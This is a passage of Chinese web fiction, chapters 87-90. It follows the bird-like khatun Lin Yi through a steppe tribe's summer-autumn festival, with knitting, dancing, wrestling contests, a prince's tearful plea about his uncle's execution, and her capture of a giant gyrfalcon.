王澈摊了摊手,他要是能弄明白猪的想法,那他不就也是猪了嘛,只能往蠢了猜猜。不过他抬头看了看场地,略微有一点迟疑,还是说道:“再留一块地吧,要是用不上,就摆些茶食贩卖,要是用得上,应该能用得上吧。” 半天后,那片场地被插了一个小木牌,上书“赛厨会”。 傍晚时分,虽然夏秋集会还没有正式开始,但已经有人开始使用场地了,林一带着苏赫部的少女坐在织布会场,一抬头就能光明正大看到比武会场那边人声鼎沸,只是可惜初夏时节还没那么热,光膀子的少见。 林一旁边坐着阿真娜,阿真娜是苏赫部这两年最漂亮的少女了,她手里拿着两根长长的骨针,大概是用牛角磨的,正缠绕着羊毛线,很认真地教人打毛线。 “只要这样、这样、再这样绕过来,只用两根骨针,但比织布机还要快!”阿真娜很得意地教学着。 林一绕来绕去,只得到一团纠结的毛线,但是已经有手巧的姑娘学着打出了一排,林一越打越模糊,鸟眼都快打成斗鸡眼,站在林一身后不远的乌珠骨碌忽然接过了她手里的骨针,飞快地打出了又平整又漂亮的一排羊毛布。 乌珠骨碌,林一从塔塔尔部带来的奴兵队长,现在当成亲卫队长来培养的普通级别人才。 林一顿时惊为天人,使用嘎嘎母语来夸赞他。阿真娜看了一眼这个瘦高的骑队长,虽然瘦得脱相,但骨相很漂亮,作为苏赫部的男人品鉴大师,阿真娜马上笑得很热切,请他过来一起坐。 第87章 座位其实不多的,都是自家带来的草垫子,用长而厚实的草叶搓绳编织。这种草垫子不花钱但是挺费工,都是上了年纪的人愿意编一编,最多换些奶渣或者土豆,好多人搬了草垫子还会搬回去的,空出来的只有一两个。 乌珠骨碌也没有坐,只是靠近了些,更专心地编造起来。他很有这方面的天赋,不光很快学会了阿真娜摸索出来的平针,还举一反三开始探索其他针法,他手底下的羊毛线也开始花样百出,最后甚至借了一枚铁钩和骨针配合起来打出了一朵毛线小花。 少女们这下都不围着阿真娜了,纷纷挤到乌珠骨碌身边。 “哎呀!这小花真复杂,刚才怎么钩出来的我都没注意,一个错眼就不会了!” “乌珠大哥乌珠大哥,教教我这个呗,你是怎么钩出来的呀?” “羊毛线颜色还是太少了,要是弄些花叶子染一染色肯定更好看,红的花绿的叶,到时候穿身上真不知怎么美!” “我们这儿哪有染料啊,用花汁染了很快就会变颜色的。” 这个林一有发言权,“染料嘛,玉华公主那边带了不少原料和匠工,明天去拿来我们用用,北都那边好像也有,矿石磨的,他们用来刷雕像的,不知道能不能用来染毛线。” 少女们都开心起来,阿真娜拿着自己织了几排的平针毛线,嘟了嘟嘴巴,正想说些什么把众人注意力吸引过来,一别头看到苏赫忽律游魂似的走了过来,眼神立马就直了。 其实苏赫忽律这些天一直疏于打理自己,胡须都长出来一层,但他的胡子形状很好,修缮了俊美但偏薄弱的脸庞,使之多三分阳刚又不过分粗犷。眉眼最是动人,乌眉俊眼风姿绰约,尤其他还是红着眼睛来的,薄带一层泪光。 啊,真不知二王子昨晚哭了多久,他一定很需要一个博大的胸怀靠一靠。 阿真娜马上起身,很温柔地凑了过去,声音柔软而慈爱,“殿下,哎呀,你看你怎么哭成小花猫了……” 出来打毛线带一堆东西已经很重了,手里暂时没有帕子,阿真娜只能抬起细麻布的袖子,想过去擦两下苏赫忽律的脸。嘿嘿,这要是擦着了,这衣服她就不洗了,天天晚上抱着睡,这得多香啊! 苏赫忽律明明是一副眼泪要掉不掉的可怜样子,但还是非常熟练地避开了伸过来的手,并本能反手推了阿真娜一下,力道不算大,只是把她推远点。 对这张脸,林一就有一些免疫力,苏赫忽律走到她近前,抿了抿唇,有些别扭地道:“可敦,能跟我来一下吗?” 骄傲的二王子可是很少这样低眉顺眼说话的。 林一是有免疫力的,林一……马上扔掉手里凄凄惨惨的毛线,站起身就跟着他走了。阿真娜倒也不失望,部落里好看的男人真不多啊,能得手我之幸也,得不到我还不能夜里做做梦?梦里可是啥都有! 苏赫忽律带林一到了一处避风僻静的地方,然后咬咬牙跪了下去,忍住了没有抽噎,低声说道:“可敦,我知道这样很不合适,可是阿父不见我,我知道拔都舅舅做了很多坏事,但他已经要死了!再过些日子他自己就要死了,我、我可以看着他病死在帐子里,可是不能接受他被人砍下头颅,我不想他是被杀死的!” 林一迟疑:“病死和被杀死,这个区别很大吗?” 反而她感觉是不是慢慢地病死更难受更折磨人?毕竟砍头就是一刀而已啊。 鼻头酸涩,眼里再次涌出泪光,苏赫忽律哽咽着抬头看林一,“他已经七十多岁了,是很老的老人了。可敦,你是阿父的可敦,我未来的妻子,求求你帮我这一次,苏赫忽律这辈子都不会忘恩。我实在不知道该如何求你,或者你可以提出条件,只要我可以做到。” 美人含泪,美人含泪!林一倒吸一口凉气。 她伸出手想把苏赫忽律扶起来,但二王子一瞬间福至心灵,跪行半步,将自己的脸侧放在了林一伸过来的手掌上,又涌出几滴眼泪,“或者只要拖延几天,拖延到他不省人事的时候……” 林一一点都没有想摸苏赫忽律的脸,她只是下意识地揉了几下,揉红苏赫忽律半边脸,然后马上就缩回了手。 “这、这样吧。最近夏秋集会事情还挺多的,可以、可以延后一些。”林一鬼鬼祟祟地说:“他真的快要死了吧?” 苏赫忽律连忙点头,眼泪摔碎在林一手掌心里。 林一都不知道自己是怎么回到会场的,也许是扑棱着飞回去的,也许是蹦回去的,她今天第一次知道美人落泪杀伤力能这么大,之前明明也看过二王子哭,可能这就是哭和哭求之间的区别吧。 啥叫难过美人关啊!啥叫英杰竞折腰啊!反正林一恨不得给苏赫忽律跪一个,小祖宗别哭了,行行行,啥都行! 会场这边已经挺热闹的了,大多是苏赫部自己人在玩,最大的比武会场就在少女们闲聊打毛线的场地边上,林一一回去就见十几个少女扒拉在绳子栏杆前往里探头,她也好奇地过去伸头看,见是苏赫铎在台上打擂。 这会儿天不是很热,他只是把一条臂膀从衣服里伸出来方便动手,若隐若现半边结实胸肌,看起来挺浮夸的,林一批判了一会儿,然后秃发千骑上场了。 秃发兀耶,苏赫部有名的壮士,曾经在第一届骑兵比武大会上赢得冠军,从大头兵升任百骑长,随后屡立战功,成为秃发千骑。当然姓氏是姓氏,他并不秃,反而毛发旺盛,二十岁的秃发千骑有着四十岁的老成面相,和苏赫铎在一处打斗,像极了英俊的勇士和强壮黑猩猩搏杀。 反正这边少女们除了极个别人,都是在为苏赫铎加油助威的。 苏赫铎看了一眼这边,顿时也打起了精神,凶猛地对着秃发兀耶使出了一套连招:猛虎下山↑,狼突狐绊→,泰山压顶↓,铁山靠→,八极拳←→,向前扑地↘,再起不能↓,不要打脸(TДT)。 秃发兀耶及时收手,把大王子从地上拉了起来,还伸手给他掸了掸泥灰。 苏赫铎但有一样好处,他凡事不挂在心头,虽然当着许多女孩儿的面挨揍有些抹不开面子,但被掸了掸灰,马上觉得秃发兀耶还是好兄弟,他灰头土脸拍了拍身上黑衣,把秃发兀耶肩膀搭过来,爽朗笑道:“好兄弟,今晚一定有姑娘请你宿夜了,明天要请我喝酒啊!不是我挨揍这么惨,也显不出你的本事嘛。” 秃发兀耶不善言辞,也不擅于和人这样亲近,只好锤了锤胸膛算作应答。 但苏赫铎很兴奋,一下场就抱住了刚来不久的铁勒王子狄戈,嘀嘀咕咕把刚才的话复述了一遍,现在他觉得自己的人际处理能力强得可怕!多亏了狄戈! 狄戈也挺开心的,他和苏赫铎从小的交情了,另外两位王子就差一些,二王子更是把厌恶写在脸上的,这样他当然希望苏赫王部的未来能交在苏赫铎的手里,不说铁勒部的附属关系,就是从个人情感,也是苏赫铎最近。 狄戈再次提醒道:“和部落里的高层打好关系只是一点,最重要的是让他们有不得不支持你的理由,是别人都无法替代的!” 苏赫铎认真点头。 狄戈又压低了声音,“这个夏秋季,不要找任何姑娘宿夜,你的一切行动,都要听我的指挥,信我兄弟,你信我!” 苏赫铎先是慎重地点了点头,然后才疑惑道:“为什么不能找姑娘宿夜?” 他这样英俊强壮的勇士,打从成年起就一直是夏秋季的大热门选手,甚至有余裕千挑万选个最好最漂亮的度过一个夏秋,他没有喜欢过几个姑娘,但技术已经非常出色了,就今年还没开始集会呢,已经有女孩儿争抢他了,这对男人来说多是一件得意事啊! 狄戈做出了一个杀头抹脖子的动作,恨铁不成钢。 咱们雪域,收继婚啊!一个实权又强权的可敦,她挑谁就是谁,不是魏朝选太子,什么温良恭俭让的,而是可敦挑男人,是挑姿色贤良淑德什么的。 你二弟乃是大汗的年轻版,雪域难得的大美人,要脑子有长相,要本事有长相,要什么都有长相,本来已经够讨女人欢心了,他还洁身自好,从小练就一手无视推搡追求者的技能。 你三弟还没长开,但天真可爱,身边还自带外置大脑,他听闻小王子每天身边带一卷女诫读,这是什么刻苦努力的精神啊! 部落高层有什么一定要选你做继承人的理由?最大的高层就是可敦了,可敦没啥挑的余地吧,三个里选一个,你先天条件差一些就差一些,一家兄弟你丑不到哪里去,可你总得守守男德吧! 狄戈嘴皮子都说干了,最后道:“这个夏秋,守好你自己,还得让可敦看见你收心了,不要和任何姑娘接触,懂?” 苏赫铎只好点了点头。 狄戈看他还是不怎么顺眼,忽然灵光一闪,把他衣裳拉齐整,遮住了浮夸的胸肌,然后拍了拍,“这儿是你唯一能胜过二王子的地方,阿铎,信我。好武器是要藏在身上的,关键时刻一击必杀,天天露在外面就不值钱了,不值钱了!” 苏赫铎懵头懵脑,不是,现在天不热,马上夏秋季又要比武的话,别人光膀子,而我穿一身布从头遮到尾巴吗? 第88章 夏秋集会正式开始的早晨,雪域中部下了一场小雨,细细的雨丝将青草润泽得越发碧绿,下雨对于雪域来说是个好气候,要是再大一些,很多人会跑出帐子里,来个露天雨水澡。 可惜了雨没下大,林一失去了批判的机会。 黑帐那边金鼓传十声,集会上便可以弹奏各式各样的乐器了,声音复杂但不混乱,雪域其实个很推崇音乐的地方,歌喉好的少女往往会受到更多追捧,会弹奏很多乐器的男人也很加分,当然很少有魏朝的乐器,雪域的乐器都挺……古朴的。 很多是石头挖出的石埙,今年有了风家窑场,不少人第一时间不是烧砖,而是用泥巴捏了埙笛等物拿进去烧制,有运气好的烧出很漂亮的陶制乐器,今天就可以在集会上大出风头。 摇铃和骨笛也不少,牛角制的号角声浑厚,还有小鼓和马头琴之类,有的年轻小伙聚在一起凑成了乐队,很卖力地合奏起来。 还不到点燃篝火的时候,舞蹈会更加的肆无忌惮,很多女孩儿手拉手唱歌跳舞,一轮跳完牵着的就不是原先的小姐妹了,气氛是很热闹的,林一从黑帐出来,手里拉着苏赫阿那,嘎嘎乐道:“我们也去跳舞!” 苏赫阿那都多少年没跳过舞了,别说跳舞,就是夏秋集会他也没参加过啊,往年苏赫部落负责集会的时候,他都在黑帐里设宴招待远来的带队首领,再说,他也快过了能参与集会的年纪了。 林一不管,把他拉到了场地上,这会儿各处会场都是乐器和歌声,姑娘小伙们唱歌跳舞很热烈,但乐声很快陆陆续续停下,许多人停在原地不知所措,不知道是不是集会开场还有什么流程没走完,怎么大汗也来了? 苏赫阿那一脸无奈,拍了拍林一的后背,“好了,不要闹,我在这儿,孩子们玩不痛快的,你好好玩就是了。” 林一大声嘎嘎,拉着苏赫阿那的手举了起来,坏笑着嘎嘎,“只要我们也跳起来,就可以玩……都进来,进来!大家一起来玩!” 后半截嗓门一下子拉到最大,集会四面马上有准备好的战旗扬起,上万的苏赫骑兵大笑着策马入场。有的穿上了自己最好的装备,全副重甲!有的洗干净头脸细细刮过胡子,还编好了满头小辫子,有的特立独行把脑门剃秃,即便是在最英俊的同伴身边,也成为了最亮的崽! 如同一瓢水倒入沸腾的油锅,整个苏赫平原一下子热闹起来。 叶撒千骑今天打扮得非常漂亮,用牛皮带束紧了腰身,上半身的衣裳直接两边拉下,炫耀结实的身材。一进场地,他就相中了最漂亮的姑娘,勒绳策马,炫技一样在姑娘身边转圈,手里的花束却就是不给人家,柔软的花瓣偶尔扫一下姑娘的脸颊。 那姑娘脸霎时间红透了,犹犹豫豫,又忍不住抬头追寻握着花束的手。 没人管大汗也来玩的事了,这些苏赫骑兵姑娘们爱,小伙子恨,一入场就抢光了所有风头。明明往年这些苏赫骑兵都是不下场的,要等到不当值轮休的时候才零散着来,这一下真赖皮啊! 反正先前那些受欢迎的小伙子们马上就不香了,雪域贫瘠,骑兵就是有产人家,更别提有人直接盔甲在身,一副好盔甲能传三代啊,夏秋季最硬的通货就是好身板和好家底了,这不全都有了吗? 林一拉着苏赫阿那在草地上旋转、旋转、旋转,她是真不会跳啊。鸟类是有求偶舞蹈的,但她基因里好像没带这玩意儿,除了转圈就是上下蹲,除了上下蹲就是转圈,偶尔拍拍胳膊。 苏赫阿那被她转得头晕,不得已先叫了停,然后观察周围的年轻人们跳的舞蹈,太激烈肯定不行,很多舞蹈姿势不是初学者马上就能学会的。停了片刻,苏赫阿那牵起林一的手,一只手抬高一只手放低,和着最近的鼓声点了点脚尖。 轻柔但不失韵律的舞步逐渐从生疏到流畅,林一被牵着来去,慢慢也找到了窍门,只是她的舞蹈总少不了转圈和上下蹲,苏赫阿那就带着她一边转圈一边跳舞。 苏赫三兄弟站在人群边上,苏赫铎其实是个舞蹈高手,他平时不跳,夏秋季跳得多,都是各种各样的姑娘教会他的。最近几年他已经可以教姑娘了,但好兄弟狄戈不许他下场,不光不许,还非要让他站着,好让可敦第一时间发现“没有参与集会,孤身一人落寞站在会场边”的模样。 然而他就站了没一会儿,苏赫忽律就过来了,往年他就是这样抄着手一脸轻蔑看着那些唱歌跳舞的同龄人的,他一般不参加集会,但集会开场其实部落里也没有旁的事,不想一个人待在帐子里就只能来转转。至于跟着阿父一起招待带队首领……苏赫忽律受不了那个气氛,几乎有女儿的首领都会看中他,然后和他聊些很烦人的话题。 乌苏……乌苏是觉得一家兄弟,他不来好像有点不合群,何况他总是喜欢和兄长们亲近些的,于是也过来站了一排。 苏赫铎轻咳一声打破兄弟间的沉默,“俺们就这样站着看啊?” 二王子没搭理他,敌意这种东西是直接写在脸上的,苏赫铎其实也不稀罕,亲兄弟怎么了,他好兄弟多得很,何况两人还有竞争呢,只是觉得站成排好像有些傻乎乎的,才开口罢了。 “要不然我们也去跳吧?”乌苏迟疑着说道。 苏赫铎马上摇头,“我今年不想找姑娘跳舞,就是站着有些无聊,不如你们找姑娘去跳吧。”他扫了扫两人,要是你们走开了,我一个人站着就会显得孤独落寞并且不那么傻了吧? 说着话就有少女红着脸走过来了,苏赫铎正要摆手拒绝,就看到少女羞答答地用手里一枝花伸向苏赫忽律。雪域邀舞通常都是小伙子邀姑娘,当然姑娘也可以主动邀舞,没那么直接伸手,会用花枝或者胳膊撩扫一下。 苏赫忽律直接拍开了花,力气还不小,把花头都拍歪了。 少女愣了一下,也没纠缠,就是红着眼圈走了。苏赫铎马上拿眼睛扫苏赫忽律,啊这!面对姑娘邀请居然是可以这么没礼貌的吗?换成他就算不喜欢也要接受一下的,这莫非就是狄戈要他学习的,二弟的优秀之处? 等人走了,乌苏才迟疑着说:“可是我还没有到找姑娘的年纪,大哥二哥也不去玩的话,那我们就在这儿聊聊天,打发打发时间?” 苏赫铎真不知自己和两个蠢笨的兄弟有什么好聊。 苏赫忽律也是这么想的。 他其实一直想找个林一空闲的时间向她道谢来着,今早本来应该杀死拔都舅舅的,可是黑帐那边没动静,部落里也没有人提及这事。阿父从前开会讨论过的事情,从来不会更改,他知道肯定是可敦说服了阿父。想到昨晚的哀求,他浑身不自在,但还是要道谢的,可是今天一个早上,他都没有找到合适的机会。 苏赫忽律的眼睛紧紧盯着那边,应该快了吧?阿父怎么这么能跳? 三人其实都不想这么站着,就是不想找姑娘跳舞而已,那么为什么一定要找姑娘跳舞呢?苏赫铎忽然灵机一动。 片刻后,手拉手的三兄弟跳舞入场,三人表情一个比一个沉默,苏赫铎左手拉着二弟忽律,右手牵着三弟乌苏,转着圈跳舞。他主要是想把两人转晕乎了然后扔掉,他再回到那边孤独孤寂吸引注意力。 但是人太多太拥挤了,他这个计划还没开始实行,只是手略微一松,再回过头的时候,他的左手已经换成了一个苏赫骑兵,右手边握着一只人立而起的黑白花的狗子嘴筒。 行吧,也算达成目的了。 苏赫忽律扔掉苏赫铎之后,牵着乌苏的手一直在人群里寻找,找来找去都找不到林一的*身影,有些落寞下来,忽然觉得手感有些不对,一回头,看到自己牵着的是个陌生的驴子耳朵。 二王子沉默片刻,不是,骑马入场他可以理解,比人群高一截也比较显眼,那带驴子来又是为啥呢? 高处的山坡上,林一和苏赫阿那躺坐在一起,一个躺一个坐,林一躺在苏赫阿那的腿上,这里稍微远离嘈杂,但还是有热闹的乐声和人声传来,下过雨的草地很柔软,这会儿天一晴,仿佛人也跟着心情舒缓起来。 苏赫阿那久居黑帐,很少参与这种热闹的事情,这会儿嘴角也下不去,轻声笑道:“今年的夏秋,比往年都快乐许多,这样无忧无虑的日子,如能长久,实在是幸事。” 林一没吭声,但苏赫阿那知道她心情不错,大鸟要是心情不好可不会沉默,她要嘎嘎到所有人都来听她的坏心情。 苏赫阿那便继续说道:“这些都是你带来的,你是这片雪域的可敦和大王……” 他的眼神下移,温柔的情话一瞬间停止了下来,转而声音更低,又气又无奈,“别、不能在这儿,底下那么多人,这里随时会有人来的。” 林一含糊地嘎了一声。 第89章 第一天的夏秋集会很热闹,然而最热闹的可不是歌舞场,而是比武! 雪域的勇士崇尚原始武力,刀兵还要放到后面,最受追捧的比武是“搏克”,也就是雪域语的摔跤,另外则是赛马和射箭,称“勇士三艺”,魏朝的君子六艺里也包括骑射,那就和雪域的三艺区别很大了。 大多数的比武场都是搏克,可以使用全身的技巧来使对手倒地,也有一些其他规则的比武,但看的人不多。到了晚上篝火升起,许多搏克高手就被簇拥起来,同伴们高声说话来吸引女孩们的注意力,有的搏克高手迫不及待登台,有的则会观察一下对手,避开有可能失败的场次。 打了一天毛线的乌珠骨碌也站起身来,他的骑队好多人都往前挤,仿佛察觉到什么。 这会儿林一已经吃饱了,苏赫阿那不和年轻人玩闹,已经早早回帐子处理积压一天的事务,分别时他停顿片刻,轻声嘱咐道:“倘若去宿夜,挑选打理干净的儿郎,夏秋季都不打理自身的,不是好小伙。” 长期情人是长期情人,宿夜只是宿夜,就连一贯独权的拔都也不禁止汗妃在夏秋季找人宿夜。雪域多少年的老规矩了,倘若因此生下孩子,孩子会有单独的姓氏为“幸运的客人”,和魏朝的“仲春之月,奔者不禁”差不离。不过现在魏朝的风气是批判以及改史本意了,把春日不禁男女私会改为单纯的约会不禁止之类。 林一摆摆手,她现在满脑子都是宇宙的诞生,生命的崛起,星际的未来。 到处都是篝火,照得人脸上都是火光,所谓灯下看美人,这也和灯下没什么区别了,许多白天鼓不起勇气的年轻男女们也放开许多,邀舞邀歌的不在少数,当然还有邀战的。 走了没多久,林一身后有个热情的声音响起来:“哎呀可敦!我看走路姿势就知道是你!” 林一回过头,见是阿依,阿依身边是阿克,他们是万骑长叶利诃的一双儿女,阿克也在亲卫队任职。她有些意外地看了看这对兄妹,“阿依,你到参加集会的年纪了?” 少女阿依和哥哥勾肩搭背的,闻言笑嘻嘻的,“我也十七啦,今年看看气氛,不过我阿父说,找个男人试试味道也是可以的,我哥给我把关。” 至于怎么试,她推搡开阿克,在林一耳边嘀嘀咕咕的,林一的眉毛听得扬了起来,哇哦,哇哦! 倒是阿克有些腼腆,不好意思地摸了摸鼻子。 阿依反正是把哥哥扔掉了,很亲密地抱住了林一的胳膊,“可敦,你来给我把把关好不好?我哥今年想在夏秋季找个妻子呢!我才不跟他待一块儿,都没有姑娘来找他了!” 林一嘎嘎点头,行行行,挑男人,她最行! 于是两人丢掉阿克,挤进人群里。 阿依是个健康美丽的少女,肤色有些黑,叶利诃本身是小麦色皮肤,略微遗传了格桑的肤色。雪域这边黑皮多,小姑娘就算黑一些,也是黑里俏,条件算得上非常优越的,所以她的目光也在不错的男人身上打转。 “可敦,你看那个那个,个子高高的,身边同伴多,性格一定很好,主要是长得好看!” 林一马上投去视线,摇摇头,“脾气不好吧,他的同伴说话都要看他脸色,你又打不过,万一商量不行,第一次体验会不好的。” 这个她倒是可以记下! 阿依性格是很好的,也很听劝,又走了一会儿,拉了拉林一的胳膊,小声地说:“哎呀,是王先生啊……” 比起刚才的高声,她这会儿有些羞怯了,林一很意外,看向那边坐轮椅的王澈,他压根就没参加集会的意思,周围守着好几个护卫,有人凑过来马上撵走,她也小声地问:“你对王澈有想法?和阿真娜一样?” 阿依没吭声。 林一劝了劝,“找男人还是要找身子骨好的,单纯长得好看,可能、可能没什么大用处。” 这是大鸟绞尽脑汁想出来的比较委婉的劝说方式。 阿依踢了踢路边的小草,眼神闪闪躲躲的,声音更小了,“我就是想想,我想也没用啊,王先生都不近女色的,可是男人去了好像也没有用……” 林一再次看了看王澈的脸,微微摇头,美则美矣,太虚了,当下属都怕他猝死。 接下来阿依的情绪就比较低落了,心里想着王澈那张脸,看谁能看得顺眼,一人一鸟就这么溜达到了最大的搏克会场边,台上两个壮士正斗得激烈,都是陌生面孔。阿依看了看,身板是蛮好的,可是她这个年纪这个目的,挑太壮实的她自己也怕,就想拉着林一走了,但没拉动。 林一正在严肃地批判这种光膀子进行搏克的行为。 片刻后台上分出胜负,果然是胸肌更浮夸的那位胜出,休息片刻后,一个瘦巴巴的身影上了台,台下立刻有许多瘦巴巴的人大声欢呼起来。 欢呼的是乌珠骑队,原塔塔尔部白奴兵。 乌珠骨碌,一个名字比人圆润得多的青年,蓝眼睛紧紧盯着壮硕的对手,对手却没把他当回事,一个冲锋上前……就被整个人抱摔倒地。 壮士懵逼地坐在地上,乌珠骨碌的一只脚还垫在他屁股底下,防止他摔伤。 林一看出这技巧很厉害,立刻鼓掌叫好,底下观赛的人也都热闹起来,不容易啊!这么小的个、噢噢,个头是很高,可瘦得像竹竿一样的,居然能抱摔勇士!这得多大的力气啊! 今天这个会场的搏克彩头是一头牛王,脖子上还挂着金牌子的,又是牛又是金,乌珠骨碌看了一眼牛,眼里只有牛,至于什么吸引姑娘之类,吃饱肚子才几天啊,想什么想! 乌珠骨碌连胜十多场后,再也没有对手愿意上台了,裁判喊了好多声,确认没有人要挑战,便把牛王牵出来给他。 可不是直接拿牛走人的,而是要骑上牛绕场一周!去年得了牛王的勇士就是在绕场时朝一位少女伸手,把羞答答的少女拉上牛背,成了一桩好婚事的,是婚事不是宿夜,是很美好的故事。所以乌珠骨碌骑牛绕场时,许多姑娘都……往后稍了稍。 没办法,雪域人的审美就是黑皮健壮,他太瘦了,瘦子那能看吗? 绕到林一面前时,乌珠骨碌在想要不要下牛什么的,毕竟在塔塔尔部,可没有允许奴兵骑在坐骑上俯视主人的道理,但林一只是抬手鼓掌,笑得很开心,这样乌珠骨碌放心许多,绕过了林一身边。 看完搏克比武,林一心满意足地牵着阿依往别处走,走了有一会儿,她回头问道:“阿依,你看那个……” 阿依的视线已经紧紧地盯在一个正在射箭的青年身上。 哪有什么把关啊!她看中了就自己走了,邀请上了就抱着人家胳膊离开了,留下林一原地挠了挠鸟头,嗨呀,这就是少女嘛。 林一走了不多会儿,就感觉有人在跟着自己,一回头没看到人,再走几步,又听见了脚步声。这次她身子没动,像猫头鹰一样猛然把头扭了一百八十度,来不及躲藏的高大身影一下子落入眼帘,是惊吓到几步踏过来查看情况的呼兰霍兰。 她于是把脖子又扭了回去,拍了拍呼兰霍兰的肩膀,“是霍兰啊,你怎么没去搏克?我记得你是很厉害的搏克高手,你家族老说过很多次的啊。” 呼兰霍兰的嘴巴张了又合,然后言简意赅道:“想上去,但他、很想要牛。” 不知道是不是一起吃过几回饭的原因,林一也能理解一下呼兰霍兰的逻辑了,他也想上去搏克来着,但是台上的乌珠骨碌对牛王的渴望都要溢出来了,呼兰霍兰再怎么样也是个部落之主,不缺这点彩头,也不缺这点风头。 林一又拍拍他,“今天有合心意的姑娘吗?还是你喜欢魏朝的姑娘,也有的,是去年和亲的陪媵和今年玉华公主带来的人,不过她们应该会聚在一起,帮你找找看?” 呼兰霍兰沉默片刻,点了点头。 林一对这个年轻人还是很看重的,叨叨咕咕地说道:“你话一直这么少吗?这样可很难追到姑娘的……嗨呀,其实你要是放在我们那儿,是用不着追姑娘的,这里是倒过来的,不过好像也没有怎么颠倒,强弱地位这些和性别没什么关系,就看块头。” 她伸手和呼兰霍兰勾肩搭背,两人个头差不多,走在一起很和谐的,林一又说道:“谁翅膀大谁就厉害,宇宙真理嘛,我记得以前也有一些公鸟很大的个子,可惜都灭绝、嘎!” 呼兰霍兰双手都不知道往哪摆,正无措着,不知该怎么接上林一的话题,忽然被这声嘎吓了一跳,顺着林一满脸惊艳,满眼迷离的视线看过去,见是个普通的训鹰人。 只是一个不高不壮也不俊俏的训鹰人,呼兰霍兰有些莫名其妙,但下一刻,一股莫名的危机促使他再次看向那训鹰人,他身侧站着一只半人高的海东青。 海东青,羽洁如雪,也有白底黑纹,爪有玉色,在雪域传说里是万鹰之神,天生猎手,据说是飞得最高的鸟,也是飞得最快的鸟。十万只鹰里才可能出一只海东青,被誉为雪域最神俊的鸟,萨满们更是称其为神的使者,天的宠儿。有诗曰:羽虫三百有六十,神俊最数海东青。 海东青是中等体型的鹰,通常雄鸟比雌鸟略小,无论是雌雄鸟,个头都不算大,但这一头海东青明显是异种,它居然有半人高!即便被铁链锁着,也一脸的傲然不羁,更不屑于啄食撒在地上的虫子。几度试图飞起,都被训鹰人拉下,仍然不屈不挠。 呼兰霍兰很清晰地听见林一咽了咽口水,虽然还揽着他的肩膀,但很显然她现在眼里只有那只海东青。 第90章 呼兰霍兰没有办法,只能以沉默应对。他这样的性子是完全无法对林一造成任何影响的,林一马上就松开了他,奔着海东青就去了。 她先是绕着走圈,然后喉咙里发出一点咕咕的声响,整个鸟变得有些奇怪,海东青起初也吓了一跳,在林一靠近时忍不住玉爪向内钩,后缩了缩,林一胳膊拍打几下,看起来是在进行鸟类之间的肢体对话。 训鹰人是外来部落的,并不认得林一,出于本能没接近奇奇怪怪的林一,而是看向呼兰霍兰,“大哥,这海东青品相是绝品,但是没训好呢,我这几天日夜在和它熬……” 雪域人通常比较直接,能说这么多铺垫已经是委婉,霍兰迟疑了一下,解下身上的刀给他:“我是呼兰霍兰,你去呼兰黑帐,要多少头牛羊拿这去报价。” 到时候会有族老帮他砍价! 训鹰人看到刀上没什么黄金宝石还有些犹豫,但听了呼兰这个词汇马上高兴起来,以前这个姓氏是穷且勇武的象征,现在可不一样!占着一片丰美的草海,最迟今年底就要住上带火炕的暖房,现在夏秋集会上第一抢手的是苏赫骑兵,第二就是呼兰部落的姑娘小伙! 训鹰人高高兴兴地走了,留下了这只绝品海东青。 林一现在的感觉就像遇到一个……智障美鸟,这只雄性海东青的脑壳显然只有那么一点点智商,但是它长得实在是很漂亮,虽然除了蒙昧本能什么都没有,但它长得太漂亮了。不长不短的喙,洁白如雪的羽毛,和她完全不同的,非常流畅完美的鸟身,那玉爪羞羞答答,鸟目乌黑灵动,实在是一位不可多得的美鸟。 她真的陷入了道德和美色的极端拉扯之中,虽然傻,但好美,虽然美,但好傻。 也不知海东青是不是真的感觉到了什么,犹犹豫豫,飞起一些,落在林一肩膀上,林一略移视线就能看到那双玉爪抓在她肩头,没训好的鹰不会收力道,对普通人可能抓破皮肉,但林一没什么感觉,只有疯狂的心动。 海东青这样一亲近,它爪上的铁链就更明显,呼兰霍兰看林一伸手去扯铁链,深吸一口气,递上了训鹰人留下的钥匙。 “嘎!”林一咕嘎了一声算作道谢,给海东青解开了铁链,不料铁链刚打开,海东青就向下借力翅膀扑腾,扑棱扑棱飞向夜空。林一想都没想一把抓住了鸟脖颈,下一刻野性十足的海东青就偏转鸟头去啄她眼睛。 呼兰霍兰下意识拔刀,才发现刀被抵押了,但林一就睁着眼睛给鹰啄也没啥事,用比海东青还迅捷的速度偏开了脑袋,一只手掐着半人高的异种海东青,周围的人纷纷明里暗里看过来,嗨呦,我们可敦这勇武的,徒手抓鹰啊! 暂时没人能联想到这是一出鸟和鸟之间的强取豪夺,你逃她追,虐恋纠葛。 后半程呼兰霍兰又陷入了沉默,直到篝火熄灭,青年男女们进展到了宿夜环节,平原上的人渐渐少了,他提出告别。 “还没有给你找到合心意的魏朝姑娘……嘎!”林一话到一半,那声嘎是给再次扑腾着要飞的海东青听的,她从抓着鸟脖子换成了抓鸡似的姿势,对呼兰霍兰说:“夏秋季很长的,那明天我再帮你问问看?” 高大的青年沉默地点点头,然后给了她一个有些萧索的背影。 林一哪里顾得上他!她抓着海东青,不知是放还是关,这一路都给她纠结死了,遇事不决问苏赫阿那,林一兴冲冲地抓着海东青回到黑帐里。苏赫阿那已经在睡帐,但没睡,正在翻看一卷修改版的山海经,看到林一掀帘进来,嘴角不自觉上扬。猫比他先动身,喵喵如水,在林一脚边S形绕圈,绕到一半发觉不对,对着海东青大声哈气。 脚尖把猫推远了些,林一扬了扬手里的海东青,苏赫阿那问道:“怎么想起弄了只野鹞鹰,训鹰很劳累,要日夜来熬。” 话刚说完,又觉不对,再次看了看那只海东青。倘若是个人,林一抓鸟的姿势类似于将人胳膊向后拧,一手控制双翅,这姿势莫名就有一些……其他的意味。 林一有些鬼鬼祟祟地说了自己的想法。 智障美鸟,感觉道德上有些过不去,可是真的很美啊! 苏赫阿那看了看鸟,又看了看林一,一时没开口,林一后知后觉地问:“是不是不高兴了?那我把它放掉吧。” 放下竹简,苏赫阿那坐起身来,沉默片刻,说道:“这鹞鹰神俊,养来陪伴你是很好的,只是看它也有几岁年纪,这种野鹰的寿命只有二十多年,或许只要过个十来年,就不是你现在看到的模样了。” 林一对寿命这东西没什么实感,她以前都没想过自己能活十岁那么久,也压根不确定她这一身乱七八糟的混杂基因能支撑她活多久不崩溃,所以每一天她都是掰开来用的,只是懵懵懂懂和疯狂扭头啄她手的海东青对视片刻,还是问道:“苏赫阿那,你想不想我留下它?” 苏赫阿那吐出一口气,失笑道:“可真是……”赖皮的鸟啊。 